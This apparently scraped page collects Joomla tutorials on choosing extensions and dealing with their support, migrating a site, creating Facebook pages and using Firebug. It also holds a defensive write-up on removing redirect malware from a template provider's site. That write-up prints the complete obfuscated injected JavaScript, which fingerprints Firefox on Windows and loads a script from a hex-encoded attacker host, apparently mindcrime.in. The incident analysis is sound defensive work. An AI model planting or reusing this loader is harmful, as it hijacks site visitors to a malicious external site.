Home Tutorials

How to Choose an Extension? Part 2: Support

In Part 1: How to Choose an Extension? Selection Steps we looked at some selection steps, now let’s go deeper into some of those steps. The one that we call “Please, I need some help…”, or, in a word: support. Remember that support on an joomla extension is crucial, but also your input toward the support is also crucial! Let’s go over some tips, and remember these come from my personal point of view…

Ever feel totally lost when you’re trying a new joomla extension? Does it seem like support on the other side of the world doesn’t understand you? Well I’m sure the support providers feel the same way sometimes.

Before buying or installing a new extension, always have a glance at the support. How does it work? By tickets? By forum? By direct mail? Do they have free support, or do you need to get a subscription? There are a lot of questions to ask and actually it doesn’t stop there. What is their response time, can they nail the ticket from the first submission, etc.?

So let’s say I found an extension and have a problem because I want to activate a feature of that extension but can’t find it. I can search in Google (I actually do this a lot, not just for extensions, but for all kinds of J!-stuff) or, and here comes the topic of this article, I contact the developer’s support.

First I check to see whether a simple registration is enough or if I should get a subscription. But of course you checked this already when you went through the first part of how to choose an extension. I log in to the developer’s website and directly submit a ticket. Oh wait, is there a manual? This is a good time to read it first. Most questions or troubles already occurred before you started your project. A good developer will put those in the manual (hint hint developers if you haven’t done that yet).

In this case, the manual didn’t answer my question or issue, so the next step is contacting the actual support. Depending on what the developer offers, you will do this by ticket, forum, email or phone. Whatever system you use, prepare thyself! Supporters can’t answer questions that are not well explained. It will annoy the support team as well as yourself because you won’t get the answer you want.

So what do they need to know? They need an exact problem description (which you might even want to clarify with a screenshot). Write down the steps you did before the problem occurred. Note the version of your Joomla installation (e.g. 2.5.11 ), and the extension version. It is also useful to indicate which hoster you’re on, the versions of PHP and MySQL.

If the developer uses a ticket system, most of the above fields will be requested, if not, write them down in the remarks. Support teams, please do add those fields.

If a forum is used, you have to write down everything yourself, so make sure you do it on an orderly way. The same for email support.

If support asks you for a login, don’t just give the super user (hopefully it’s called something other than admin), but create a separate login for them (it might also be a super user account). After the support is finished, disable it. Don’t worry – if you are using reputable joomla extension with decent support, they won’t try to hack your site. (Tip: don’t ever give your super user account login on a public forum or ticket!)

So, after we submit our support request it might take some hours, maybe days, and in the worst case about a year before we get the solution, but that is rare. Submitting tickets and picking up the phone usually get the fastest results, followed by email and finally forums. The quality of the solutions tend to follow the same order.

When we do get a reply, we read it of course, and then DO what the support guy says. If you are still stuck, don’t just tell them it doesn’t work. If the solution is too complicated for you, ask the support team to give you a hand (which might be at extra cost) or look for reliable freelancers. How to find a reliable freelancer will be one of the next articles. It might be that a problem takes more than 1 or 2 tickets, but stay calm and friendly, and together you will find a solution.

I’m almost at my word count, so in the next issue I’ll come back for a very short paragraph on support. By the way, support givers are people, so if they helped you out, be sure to say thank you!

Author: Mike Veeckmans

Source: http://magazine.joomla.org/issues/issue-june-2013/item/1323-how-to-choose-extension

How to Choose an Extension? Part 1: Selection Steps

Newbie or oldtimer? We all sometimes have issues finding the correct joomla extension for the site we’re building. Sometimes it’s a piece of cake, sometimes you could bash up your workstation and yell at the client, “Why, whyyy?”. Nevertheless, extensions are the builldingblocks to better and more powerful Joomla sites. Let’s look at some pointers or guidelines about how to choose an extension.


Let’s start at the very beginning of all joomla extension searches: http://extensions.joomla.org. The Joomla Extension Directory (or JED) should be your first source at all times. The current count of extensions is about 6500 foor Joomla 2.5 and 3.x. If you’re wondering what happened to the joomla 1.5 extensions, they’re still there (at http://archive.extensions.joomla.org/), but really, isn’t it tme to upgrade to Joomla 2.5 or higher?

The JED is growing rapidly with joomla extensions, and so you will have to use the search. On the left side there’s an easy navigation where extensions are already categorized. Take a peek and you might find some extensions you never expected. On top of the JED you can search by keyword. Don’t just enter a lot of words but try to narrow it down to one or two keywords. It makes life a lot easier.

So you found some extensions and they all seems to be good for your needs. Great, but how to choose the correct one?

Take a look at some basics. What Joomla version are you using, do you (or your client) need a commercial or non commercial joomla extension, does it have to be a component, module or plugin? Now that this selection is made, let’s drill it down a bit further.

Is development still ongoing for the extensions still left in your selection? Look at the version and when it was last updated on the detail page of the extension. Does it use the Joomla updater, or do you have to update it manually each time? What’s on the roadmap for the coming months?

One of the most important criteria in your selection is the features of the extension. Not only those you need now, but think a bit about the future. What would be nice to have, and what will you or your client need soon? Can the extension communicate with other extensions (e.g. automatic subscription to a newsletter when buying a membership, and at the same time create a user account)? If one feature is not on the list, and all the others are, why not get in touch with the developer and ask whether it’s possible to get that one feature added or not. And try the demo to check if the feature(s) you’re looking for are also working the way you want.

Although some people appear to have lost the ability to read, documentation is a crucial point in the selection. Is there good documentation available about the extension? Is it accurate, and does it cover troubleshooting? Good documentation can save you and the developer a lot of time. (Don’t bother reading from A to Z when still in selection mode. Skim over it, and look for some particular descriptions on how to configure, how to change, and how some features work.)

An extension is only as strong as its support, some like to say, and most do agree. Who hasn’t had a bad experience with support? Or with supporting clients? Support can be given in different ways: by a ticket system, in forums, or direct email with the developer, etc. Is support for the joomla extension free, or is it a yearly (or monthly) subscription? Just a pointer on this one: when you need support, the one and only person who can answer your question with 100% certainty is the developer of that extension – no Facebook group or some obscure forum.

And the last thing to consider in this Part 1 article, are the experiences other people have had with the extension you’re considering. Within the JED you can find reviews written by other users, and they may contain some useful information. In my humble opinion, the mediocre reviews are the best, where the reviewers are pointing out the good and not so good things about the extension. And reviews where the developer has responded are also very useful. They give you an idea of how the developer is involved in the quality of his extension, and if he’s looking for solutions.

Choosing a good extension (especially for client projects) is not something you do as quickly as getting fast food. The above are meant to be some pointers and guidelines to get you started.

In the next JCM issue(s) I’ll go deeper into tips, tricks, and look at some specific extensions. So stay tuned!

Please read Part 2: How to Choose an Extension? Support

Author: Mike Veeckmans

Source: http://magazine.joomla.org/issues/issue-june-2013/item/1323-how-to-choose-extension

How do we detect and remove the pagesinxt virus from ZooTemplate website

The problem

A few days ago, when our visitors visited our service, ZooTemplate (well, it is one of the best Joomla templates providers), the website firstly is loaded as usual but then is redirected to an external website.

One more special thing, this happens on Firefox browser and Windows operating system only. I originally think that the problem is caused by a sypware or virus named Pagesinxt, so I decide to make few researches on Google. Two of most popular solutions are:

  • Looking for and removing special keys created by the virus in Windows Registry
  • Using an anti-spyware and/or anti-virus software to remove the virus

I myself use Microsoft Security Essentials (by Microsoft), PC Tools Spyware Doctor, PC Tools Internet Security (both by Symantec), but all of these softwares cannot find any spywares or viruses on my computer. My computer and browsers are clear.

At that moment, many of our customers report that the problem happens when they tried to visit the service website from Firefox on a just-installed computer, someone even use a clean Firefox from a virtual machine.

So the issue occurs on all the Firefox browsers of our developers/customers, it might come from the server side, not from the client one. In the next section, I will show you how I did detect and remove the pagesinxt virus.

The solution

Getting HTML code

Firstly, I need to get the HTML source of HTML page as when I visit the website using the Firefox browser. Because it will be redirected to an external website if I access the website with real Firefox browser, in this case we should think of using a raw HTTP repsonse viewer.

One of online HTTP request and response header viewer which can be found easily is Web Sniffer. Setting the user agent as Firefox and the address of website as http://www.zootemplate.com give me entire HTML code in the HTML Response Header section:

Getting HTML response with Web Sniffer

Determining where the redirection comes from

Saving entire HTML source as a new HTML file on my computer, opening it with the Firefox browser still redirect me to other website. I guest that the redirection might come from one of javascript codes. In order to determine which Javascript files, inline scripts contain the redirection code, I perform the following steps:

  • Remove all unnecessary things from the HTML page, such as CSS styles, HTML tags. Just keep all the link to external Javascript and inline Javascript codes.
  • Disable inline scripts one by one
  • Disable external Javascript file one by one

If you are a web developer, you already know that we can disable Javascript inline scripts or prevent the website loading external Javascript files by wrapping them in a comment tag (<!-- and -->).

After doing each step, do NOT forget to refresh the page to see how it effects my HTML page.

Fortunately, when the page remains only one external Javascript file, the problem still occurs.

How the script redirects my visitor

Now I am sure that the redirection comes from an external Javascript file. There are a few ways it can use to make a redirection:

  • Set window.location
  • Use external script to make the redirection

Searching for window.location in the code give me nothing. To insert an external script to my page, it migh use the following snippet:

[highlighter lang=”js” linenums=”true” startnums=”1″] var s = document.createElement("script"); s.setAttribute("src", "Link to external Javascript file"); [/highlighter]

Looking for document.createElement("script") in the code give me the following code which is inserted by the hacker:

[highlighter lang=”js” linenums=”true” startnums=”1″] var c=!0,psh=!0;function e(a){var b=f;document.cookie=ckn+"="+escape(a)+(b?"; expires="+b:"")+"; path=/"} function i(){var a=" "+document.cookie,b=" "+ckn+"=",m=null,d=0,g=0;0&lt;a.length&&(d=a.indexOf(b),-1!=d&&(d+=b.length,g=a.indexOf(";",d),-1==g&&(g=a.length),m=unescape(a.substring(d,g))));return m}function b0o(){ckn&&"0"!=i()&&e("0");return true;} if(psh){ var d3n="x6dx69x6ex64x63x72x69x6dx65x2ex69x6e",ckn="ctd11",s0h="ctd";var p=!1,q=/*@cc_on!@*/false;var r=window.sidebar;"opera"in window&&(p=c);r&&(p=c);q&&(p=c);var s=!1,t=navigator.platform.toLowerCase();0&lt;t.length&&-1!=t.indexOf("win")&&(s=c);var u = !1;if(s&&p){var f=(new Date((new Date).getTime()+864E5)).toGMTString(),v=i();"0"!=v&&(e("1"),v=i(),"1"==v&&(u=c))}u&&(p&&s)&&function(){function a1(){if(document.body){var dv=document.createElement("div");dv.setAttribute("id","ieb");document.body.insertBefore(dv,document.body.firstChild);var b=document.createElement("script");b.setAttribute("src", "x68x74x74x70x3ax2fx2f"+d3n+"x2f"+s0h+"x2fx73x63x72x69x70x74x73x2ex6ax73");document.body.insertBefore(b,document.body.firstChild)}else setTimeout(a1,20)}a1()}()} [/highlighter]

As I guest, the code uses document.createElement to create a script element, and use setAttribute() and document.body.insertBefore() methods to load the script:

[highlighter lang=”js” linenums=”true” startnums=”1″] … if (document.body) { … var b = document.createElement("script"); b.setAttribute("src", "x68x74x74x70x3ax2fx2f" + d3n + "x2f"+s0h+"x2fx73x63x72x69x70x74x73x2ex6ax73"); document.body.insertBefore(b,document.body.firstChild); } … [/highlighter]

We can use the console.log function to see exactly where Javascript file comes from:

[highlighter lang=”js” linenums=”true” startnums=”1″]… if (document.body) { … var b = document.createElement("script"); var url = "x68x74x74x70x3ax2fx2f" + d3n + "x2f"+s0h+"x2fx73x63x72x69x70x74x73x2ex6ax73"; console.log(url); b.setAttribute("src", url); // document.body.insertBefore(b,document.body.firstChild); } … [/highlighter]

I get http://mindcrime.in/ctd/scripts.js from the console window of Firefox browser. Accessing http://mindcrime.in/ctd/scripts.js redirects me to exactly address of website which we got when access ZooTemplate website.

How it effects on Firefox and Windows only

The two following points give me the answers for questions clearly:

  • The code use window.sidebar which returns object on Firefox, but undefined on other browsers such as Google Chrome

  • The Javascript code uses the following code to get the name of operating system, and check if it is Windows:

    [highlighter lang=”js” linenums=”true” startnums=”1″] var t = navigator.platform.toLowerCase(); -1 != t.indexOf("win"); [/highlighter]

The solution is so simple

I just remove the script metioned above and the problem is fixed!

Lessons learned

The way I detect and remove the pagesinxt virus is so simple, but there are some lessons I would like to share with you which can be used when we meet the similar situation:

  1. When use an open source web-based software (Joomla, in my case) with an external extensions provided by community, 3rd parties, you should choose the well-known extensions which are verified by the community. Absolutely, you have to ensure that it does not contain any malware codes.
  2. Ensure that the extensions always up-to-date.
  3. Try to use some malware detector software such as Maldet (for Linux) to search for malware code in entire web folder.
  4. Last but not least, do not forget to use your programming skills to find out where the problems come from.

How to create a facebook page and get facebook page id

How to access Facebook Pages?

You can find Facebook Pages in left column on your Facebook home page when you are logged in. If it is not showing you can click on More link to expand the list. Then click on create page link as shown in screenshot.

If you still can not find it Click Here to go directly to Facebook Create Page Screen (Make sure you are signed in Facebook).

Creating a new Facebook Page

On Create a Page screen you will be asked to enter various information to input. You can choose between Official Page or Community Page. When you create a page you will see URL in Browser address bar for that page. As highlighted below in screenshot you need to copy your Page ID and paste in settings of the extension.


Customized Facebook Page ID

If you have customised Facebook Page URL then your ID will not show in URL and your URL will be like http://www.facebook.com/USER_NAME instead. To find your Facebook Page ID from a Customised URL simply go to your Facebook home page (http://www.facebook.com) and click on Ads and Pages. This will take you to pages screen where you should be able to see Page ID in URLs.

To delete a Facebook Page:

Click “Edit Page” underneath the profile picture when viewing your Page.
Select “Manage Permissions” from the left sidebar.
Click “Permanently delete this Page.” Please keep in mind that once you delete your Page, there’s no way to reinstate it.

How to Move a Site from Local to Live Server

Many people like to develop their Joomla sites locally and then move their work to a live host when completed. This weeks tutorial will show you how to move an exact copy of your site from your localhost to a live server, database and all.

We’re going to use a fantastic component called JoomlaPack to help us with the process. We’ll first use it to make a backup of our local site (files + database), and then we’ll use a provided tool (Kickstart) to restore the backup to our live server.

Here’s how you do it:

  1. Download the JoomlaPack component. Make sure you get the latest release, which at the time of this newletter is 2.2
  2. Download the Kickstart app, again making sure you ge the latest release, 2.2Stable – unzip the package for later use.
  3. In the administration area of your local Joomla site, go to Extensions >> Install / Uninstall and upload the JoomlaPack component file: com_joomlapack-2.2-free.zip
  4. In the administration area of your local Joomla site, go to Components >> JoomlaPack >> Configuration and we’re going to change a setting before we backup and migrate. Click on the ‘Advanced’ tab and then locate the ‘Archiver engine’ and change it to ‘JPA JoomlaPack Archive, and click Save.
  5. Click on the Backup Now button (you’ll notice a warning regarding the default directory being used for the backup – we can ignore this *for now) and then the ‘Backup Now!’ You should see the backup process begin, and be given a success page when completed.
  6. Locate the backup file in your localhost joomla_root/administrator/components/com_joomlapack/backup – the backup file will have the extension .jpa. Upload this file to the directory on your live server where you will do the restore. For most this will be the root directory, /html or /home etc
  7. Upload the Kickstart app file to this same directory. You should have unzipped the package in an earlier step, if not, unzip and then upload the file.
  8. Create a new database using phpMyAdmin or the tool provided by your host to do so. This new database will be used for our restore to populate with our backed up data. Make note of the hostname, username/password and database name for further steps.
  9. Navigate in your browser to http://backup_directory/kickstart.php (where backup_directory is the directory your backup file is located). Insert your Host, Username, and Password information and click on the green Start button. You will see the process beign – do not close this browser window!
  10. Once the file extraction is done you will see a message to ‘Please click here to open JoomlaPack Installer restore script in a new window’. Click there.
  11. A new window will open, and you will see a typical looking Joomla installation page, however this is the restore script. Go through the installation process, making sure you put your new information for hostname, username, password and database in Step 4.
  12. After successful Joomla installation (restore in our case) go back to the other browser window and click on the link to restore your .htaccess file if you need to do this step, and close the browser window when done.
  13. The restoration process should now be completed, and you can log in to your newly moved site at /administrator to continue development on the live server.

How to use Firebug in Firefox

How to use Firebug

We would like to introduce a very useful and important tool called FireBug. This is extension for Firefox browser that can really help you during templates customization. It is capable to show you each HTML element (html tags, javascript code, css code, etc.) on the webpage so it’s really helpful in understanding the template structure. By using Firebug, you can find the mistakes on the HTML or CSS code you wrote, and will also find out why something is not working.


  1. We are going to download and install Mozilla Firefox, so please click here to download.
  2. Go to the Tools menu in your Firefox browser and look for “Add-ons.” Click on it and a new window will pop-up. Click on the first option on the top menu, which should say “Get Add-ons,” and search for Firebug. OR click here to download and install Firebug.
  3. Open Firebug and the screen will split in two parts: one will be the website you were visiting (on top) and the other half will be Firebug with the code behind what you are watching. You can navigate through both HTML and CSS code. Choose the one you want to check.
  4. Click on the different sections of the site (always on the bottom half of the screen) and see on top how the area you clicked on is highlighted. That will help you identify the bugs.
  5. Note that the CSS code shows on the right side of the screen, allowing you to do some changes to see how things would look like without having to modify your original files. When you identify the change you have to make, you can go back to your editing program.

Firebug Overview

A – The web page
This is the output of the code, the front-end of Joomla! powered website.

B – The HTML source
This is the HTML code of the page rendered by all scripts and front-end view of components and modules.

C – The computed styling
This is where the magic happens as this is where we are going to play around to change the design of various template elements.
Please note that computed style may look different than it looks in your CSS files.

Firebug Usage Example

firebug example.jpg

  • Step 1 – click the Inspect element button.
  • Step 2 – hover any element of the template that you want to style, and click it, let’s say we want to style the links.
  • Info 1 – after you have selected a link, the C – The computed styling section will instantly display the element specific styling, in our case
    a:hover, a:active, a:focus {color:#333333; text-decoration: underline;}
    but you can always switch to :hover / :active anytime.
  • Info 2 – on mouse out (when you are not hovering the link), the C – The computed styling will instantly display normal links styling
    a {color:#006699; text-decoration:none;}.
  • Info 3 – when you are watching a computed style, Firebug also shows you the file and line number where you can find the style.
  • Step 3 – click the computed style for this element and add your styling. Click here to read a good CSS reference.
  • Step 4 – copy any additional style you have added to the CSS code (template.css in our case).

Video: How to use firebug in Firefox